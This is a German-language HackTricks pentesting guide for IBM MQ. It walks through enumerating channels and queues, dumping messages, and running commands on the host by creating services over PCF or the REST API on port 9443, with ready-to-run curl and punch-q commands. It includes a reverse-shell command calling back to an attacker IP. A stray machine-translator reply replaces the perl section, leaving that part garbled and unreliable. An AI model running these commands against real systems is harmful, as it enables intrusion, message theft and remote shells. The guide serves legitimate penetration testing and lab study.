1414 - Pentesting IBM MQ
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Grundlegende Informationen
IBM MQ ist eine IBM-Technologie zur Verwaltung von Message-Broker-Queues. Wie andere Message-Broker-Technologien ist sie dazu bestimmt, Informationen zwischen Produzenten und Konsumenten zu empfangen, zu speichern, zu verarbeiten und zu klassifizieren.
Standardmäßig ist der IBM MQ TCP-Port 1414 offen. Manchmal kann eine HTTP REST API auf Port 9443 exponiert sein. Metriken (Prometheus) sind auch über den TCP-Port 9157 zugänglich.
Der IBM MQ TCP-Port 1414 kann verwendet werden, um Nachrichten, Queues, Channels, … zu manipulieren, aber auch, um die Instanz zu kontrollieren.
IBM stellt eine umfangreiche technische Dokumentation bereit unter https://www.ibm.com/docs/en/ibm-mq.
Werkzeuge
Ein vorgeschlagenes Tool für einfache Exploitation ist punch-q, mit Docker-Einsatz. Das Tool verwendet aktiv die Python-Bibliothek pymqi.
Für einen manuellen Ansatz verwenden Sie die Python-Bibliothek pymqi. IBM MQ dependencies werden benötigt.
Installation von pymqi
Die IBM MQ dependencies müssen installiert und geladen werden:
- Erstellen Sie ein Konto (IBMid) auf https://login.ibm.com/.
- Laden Sie die IBM MQ Bibliotheken von https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc herunter. Für Linux x86_64 ist es 9.0.0.4-IBM-MQC-LinuxX64.tar.gz.
- Dekomprimieren (
tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz). - Führen Sie
sudo ./mqlicense.shaus, um den Lizenzbedingungen zuzustimmen.
Wenn Sie Kali Linux verwenden, bearbeiten Sie die Datei
mqlicense.sh: entfernen/kommentieren Sie die folgenden Zeilen (zwischen Zeilen 105-110):if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ] then echo "ERROR: This package is incompatible with this system" echo " This package was built for ${BUILD_PLATFORM}" exit 1 fi
- Installieren Sie diese Pakete:
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
- Dann vorübergehend die
.so-Dateien zu LD hinzufügen:export LD_LIBRARY_PATH=/opt/mqm/lib64, bevor andere Tools gestartet werden, die diese Abhängigkeiten benötigen.
Dann kannst du das Projekt pymqi klonen: es enthält interessante Code-Snippets, Konstanten, … Oder du kannst die Library direkt installieren mit: pip install pymqi.
Using punch-q
With Docker
Einfach verwenden: sudo docker run --rm -ti leonjza/punch-q.
Without Docker
Klon das Projekt punch-q und folge dann dem Readme zur Installation (pip install -r requirements.txt && python3 setup.py install).
Anschließend kann es mit dem punch-q-Befehl verwendet werden.
Enumerierung
Du kannst versuchen, den Queue Manager-Namen, die Benutzer, die Channels und die Queues mit punch-q oder pymqi zu enumerieren.
Wenn TCP/1414 gefiltert ist oder das Ziel nur den eingebetteten Webserver exponiert, prüfe auch TCP/9443. Neuere IBM MQ-Versionen stellen dort standardmäßig die IBM MQ Console / REST API bereit, wenn mqweb aktiviert ist, und der administrative REST-Endpunkt kann beliebige MQSC-Befehle ausführen, wenn du gültige Zugangsdaten hast.
Queue Manager
Manchmal besteht kein Schutz gegen das Auslesen des Queue Manager-Namens:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
Queue Manager name: MYQUEUEMGR
Kanäle
punch-q verwendet eine interne (änderbare) wordlist, um vorhandene Kanäle zu finden. Beispiel:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
"DEV.ADMIN.SVRCONN" exists and was authorised.
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.
Es kommt vor, dass einige IBM MQ-Instanzen unauthenticated MQ-Anfragen akzeptieren, sodass --username / --password nicht benötigt werden. Natürlich können die Zugriffsrechte variieren.
Sobald wir einen Channel-Namen (hier: DEV.ADMIN.SVRCONN) haben, können wir alle anderen Channels aufzählen.
Die Enumeration kann im Wesentlichen mit diesem Code-Snippet code/examples/dis_channels.py aus pymqi durchgeführt werden:
import logging
import pymqi
logging.basicConfig(level=logging.INFO)
queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'
prefix = '*'
args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix}
qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)
try:
response = pcf.MQCMD_INQUIRE_CHANNEL(args)
except pymqi.MQMIError as e:
if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME:
logging.info('No channels matched prefix `%s`' % prefix)
else:
raise
else:
for channel_info in response:
channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME]
logging.info('Found channel `%s`' % channel_name)
qmgr.disconnect()
… Aber punch-q bettet diesen Teil ebenfalls ein (mit mehr Informationen!). Es kann wie folgt gestartet werden:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
Showing channels with prefix: "*"...
| Name | Type | MCA UID | Conn Name | Xmit Queue | Description | SSL Cipher |
|----------------------|-------------------|---------|-----------|------------|-----------------|------------|
| DEV.ADMIN.SVRCONN | Server-connection | | | | | |
| DEV.APP.SVRCONN | Server-connection | app | | | | |
| SYSTEM.AUTO.RECEIVER | Receiver | | | | Auto-defined by | |
| SYSTEM.AUTO.SVRCONN | Server-connection | | | | Auto-defined by | |
| SYSTEM.DEF.AMQP | AMQP | | | | | |
| SYSTEM.DEF.CLUSRCVR | Cluster-receiver | | | | | |
| SYSTEM.DEF.CLUSSDR | Cluster-sender | | | | | |
| SYSTEM.DEF.RECEIVER | Receiver | | | | | |
| SYSTEM.DEF.REQUESTER | Requester | | | | | |
| SYSTEM.DEF.SENDER | Sender | | | | | |
| SYSTEM.DEF.SERVER | Server | | | | | |
| SYSTEM.DEF.SVRCONN | Server-connection | | | | | |
| SYSTEM.DEF.CLNTCONN | Client-connection | | | | | |
CHLAUTH / OAM recon
Viele Fälle, in denen ‘es verbindet sich, gibt aber 2035 zurück’, werden durch CHLAUTH-Regeln oder durch fehlende OAM-Berechtigungen an den Zielobjekten verursacht.
Wenn Sie bereits administrativen MQSC-Zugriff haben, ist MATCH(RUNCHECK) der schnellste Weg, um zu verstehen, welche Regel auf eine Remote-Verbindung angewendet wird:
echo "DISPLAY CHLAUTH(DEV.ADMIN.SVRCONN) MATCH(RUNCHECK) CLNTUSER('admin') ADDRESS('10.10.10.10')" \
| runmqsc MYQUEUEMGR
Über den REST-Admin-Endpunkt auf 9443 kann derselbe Check aus der Ferne durchgeführt werden:
curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "DISPLAY CHLAUTH(DEV.ADMIN.SVRCONN) MATCH(RUNCHECK) CLNTUSER('admin') ADDRESS('10.10.10.10')" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc
Wenn Sie genügend Rechte haben, PCF aus der Ferne zu verwenden, stellt IBM MQCMD_INQUIRE_CHLAUTH_RECS bereit, das die Channel-Authentifizierungs-Einträge und deren Zuordnungen zu MCAUSER zurückliefert. Das ist nützlich, um zu bestätigen, ob ein Channel entfernte Benutzer auf ein höher privilegiertes lokales Konto abbildet, bevor man auf Nachrichten zugreift, Objekte erstellt oder Services missbraucht.
Warteschlangen
Es gibt einen Codeausschnitt mit pymqi (dis_queues.py), aber punch-q erlaubt es, weitere Informationen über die Warteschlangen abzurufen:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
Showing queues with prefix: "*"...
| Created | Name | Type | Usage | Depth | Rmt. QM | Rmt. Qu | Description |
| | | | | | GR Name | eue Nam | |
| | | | | | | e | |
|-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------|
| 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local | Normal | 0 | | | |
| 0 18.35.1 | E | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.1 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.2 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.3 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
# Truncated
Exploit
Dump messages
Sie können queue(s)/channel(s) anvisieren, um von ihnen sniff out / dump messages zu erhalten (nicht-destruktive Operation). Beispiele:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump
Zögern Sie nicht, alle identifizierten Queues mehrfach zu durchlaufen.
Code execution
Einige Details vorab: IBM MQ kann auf verschiedene Arten kontrolliert werden: MQSC, PCF, Control Command. Einige allgemeine Übersichten finden Sie in IBM MQ documentation. PCF (Programmable Command Formats) ist das, worauf wir uns konzentrieren, um aus der Ferne mit der Instanz zu interagieren. punch-q und außerdem pymqi basieren auf PCF-Interaktionen.
Eine Liste der PCF-Befehle finden Sie:
Ein interessanter Befehl ist
MQCMD_CREATE_SERVICEund seine Dokumentation ist hier verfügbar. Er nimmt als Argument einenStartCommandentgegen, der auf ein lokales Programm auf der Instanz zeigt (Beispiel:/bin/sh).Es gibt in der Dokumentation auch eine Warnung zu diesem Befehl: “Achtung: Dieser Befehl erlaubt einem Benutzer, einen beliebigen Befehl mit mqm-Rechten auszuführen. Wenn Rechte zur Verwendung dieses Befehls gewährt werden, könnte ein böswilliger oder unachtsamer Benutzer einen Service definieren, der Ihre Systeme oder Daten beschädigt, zum Beispiel durch Löschen wichtiger Dateien.”
Hinweis: Laut IBM MQ documentation (Administration Reference) gibt es außerdem einen HTTP-Endpunkt unter
/admin/action/qmgr/{qmgrName}/mqsc, um den äquivalenten MQSC-Befehl zur Service-Erstellung (DEFINE SERVICE) auszuführen. Dieser Aspekt wird hier noch nicht behandelt.
Wenn MQ Console / REST API-Zugangsdaten verfügbar sind, können Sie oft dieselben administrativen Primitive über HTTPS auf 9443 erreichen, ohne die MQ-Client-Bibliotheken zu verwenden. IBM dokumentiert /ibmmq/rest/v3/admin/action/qmgr/{qmgrName}/mqsc als Endpunkt, der plain-text MQSC oder JSON-Befehle akzeptiert.
Die Service-Erstellung/-Löschung mit PCF zur Remote-Programmausführung kann mit punch-q durchgeführt werden:
Beispiel 1
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"
In den Logs von IBM MQ sieht man, dass der Befehl erfolgreich ausgeführt wurde:
2023-10-10T19:13:01.713Z AMQ5030I: The Command '808544aa7fc94c48' has started. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]
Du kannst auch vorhandene Programme auf der Maschine auflisten (hier /bin/doesnotexist … existiert nicht):
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
s "whatever"
Command: /bin/doesnotexist
Arguments: -c id
Service Name: 6e3ef5af652b4436
Creating service...
Starting service...
The program '/bin/doesnotexist' is not available on the remote system.
Giving the service 0 second(s) to live...
Cleaning up service...
Done
Beachte, dass der Programmstart asynchron ist. Daher brauchst du ein zweites Item, um den Exploit auszunutzen (listener for reverse shell, file creation on different service, data exfiltration through network …)
Die gleiche Technik kann über die REST API ausgeführt werden:
curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "DEFINE SERVICE(HACKTRICKS) CONTROL(MANUAL) SERVTYPE(COMMAND) STARTCMD('/bin/sh') STARTARG('-c id >/tmp/mq.id')" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc
curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "START SERVICE(HACKTRICKS)" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc
curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "DELETE SERVICE(HACKTRICKS)" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc
Das ist besonders nützlich während Assessments, wenn:
9443erreichbar ist, aber1414auf einen kleineren Quellbereich beschränkt ist- Das Zielteam verwaltet IBM MQ hauptsächlich über die web console und hat vergessen, die REST roles zu härten
- Sie möchten vermeiden, IBM MQ client libraries lokal zu installieren und benötigen nur MQSC-level administration
Beispiel 2
Für eine einfache reverse shell schlägt punch-q außerdem zwei reverse shell payloads vor :
- Eine mit bash
- Eine mit perl
Natürlich können Sie eine eigene mit dem execute-Befehl erstellen.
Für bash:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
Bitte den zu übersetzenden Abschnitt (den Text nach “For perl:”) hier einfügen. Ich übersetze ihn dann ins Deutsche unter Beibehaltung aller Code‑, Link‑ und Tag‑Syntax.
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
Benutzerdefiniertes PCF
Sie können die IBM MQ-Dokumentation durchgehen und direkt die Python-Bibliothek pymqi verwenden, um einen bestimmten PCF-Befehl zu testen, der in punch-q nicht implementiert ist.
Beispiel:
import pymqi
queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'
qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)
try:
# Replace here with your custom PCF args and command
# The constants can be found in pymqi/code/pymqi/CMQCFC.py
args = {pymqi.CMQCFC.xxxxx: "value"}
response = pcf.MQCMD_CUSTOM_COMMAND(args)
except pymqi.MQMIError as e:
print("Error")
else:
# Process response
qmgr.disconnect()
Wenn Sie die Konstantennamen nicht finden können, können Sie die IBM MQ documentation zu Rate ziehen.
_Beispiel für
MQCMD_REFRESH_CLUSTER(Dezimal = 73). Es benötigt den ParameterMQCA_CLUSTER_NAME(Dezimal = 2029), der_sein kann (Doc: ):*import pymqi queue_manager = 'MYQUEUEMGR' channel = 'DEV.ADMIN.SVRCONN' host = '172.17.0.2' port = '1414' conn_info = '%s(%s)' % (host, port) user = 'admin' password = 'passw0rd' qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password) pcf = pymqi.PCFExecute(qmgr) try: args = {2029: "*"} response = pcf.MQCMD_REFRESH_CLUSTER(args) except pymqi.MQMIError as e: print("Error") else: print(response) qmgr.disconnect()
Testumgebung
Wenn Sie das Verhalten von IBM MQ und exploits testen möchten, können Sie eine lokale Umgebung auf Basis von Docker einrichten:
- Ein Konto bei ibm.com und cloud.ibm.com.
- Erstellen Sie eine containerisierte IBM MQ mit:
sudo docker pull icr.io/ibm-messaging/mq:latest
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:latest
Hier wurde der Queue Manager-Name auf MYQUEUEMGR gesetzt (Variable MQ_QMGR_NAME).
Neuere 9.4.x Developer-Images haben das Standardverhalten geändert:
adminundappwerden nur erstellt, wenn ihre Passwörter gesetzt sind- IBM deklariert
MQ_ADMIN_PASSWORD/MQ_APP_PASSWORDab9.4.0.0als deprecated - Der bevorzugte Weg ist, Secrets namens
mqAdminPasswordundmqAppPasswordzu injizieren
Für ein schnelles lokales Lab mit Podman können Sie beide Benutzer so erstellen:
printf 'passw0rd' | podman secret create mqAdminPassword -
printf 'passw0rd' | podman secret create mqAppPassword -
podman run --secret mqAdminPassword --secret mqAppPassword \
-e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR \
-p1414:1414 -p9157:9157 -p9443:9443 \
--name testing-ibmmq icr.io/ibm-messaging/mq:latest
Mit der Standard-Entwicklerkonfiguration:
DEV.ADMIN.SVRCONNerlaubt nur den BenutzeradminDEV.APP.SVRCONNist der Anwendungskanal und der Benutzerappist die erwartete Identitäthttps://<target>:9443/ibmmq/consolestellt die Webkonsole bereit, wenn der eingebettete Webserver aktiviert ist
IBM MQ sollte laufen und seine Ports sollten erreichbar sein:
❯ sudo docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
58ead165e2fd icr.io/ibm-messaging/mq:latest "runmqdevserver" 3 seconds ago Up 3 seconds 0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp testing-ibmmq
Die älteren Versionen der IBM MQ Docker-Images befinden sich unter: https://hub.docker.com/r/ibmcom/mq/.
Referenzen
- mgeeky’s gist - “Practical IBM MQ Penetration Testing notes”
- MQ Jumping - DEFCON 15
- IBM MQ documentation
- IBM MQ REST API:
/admin/action/qmgr/{qmgrName}/mqsc - IBM MQ container default developer configuration
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.


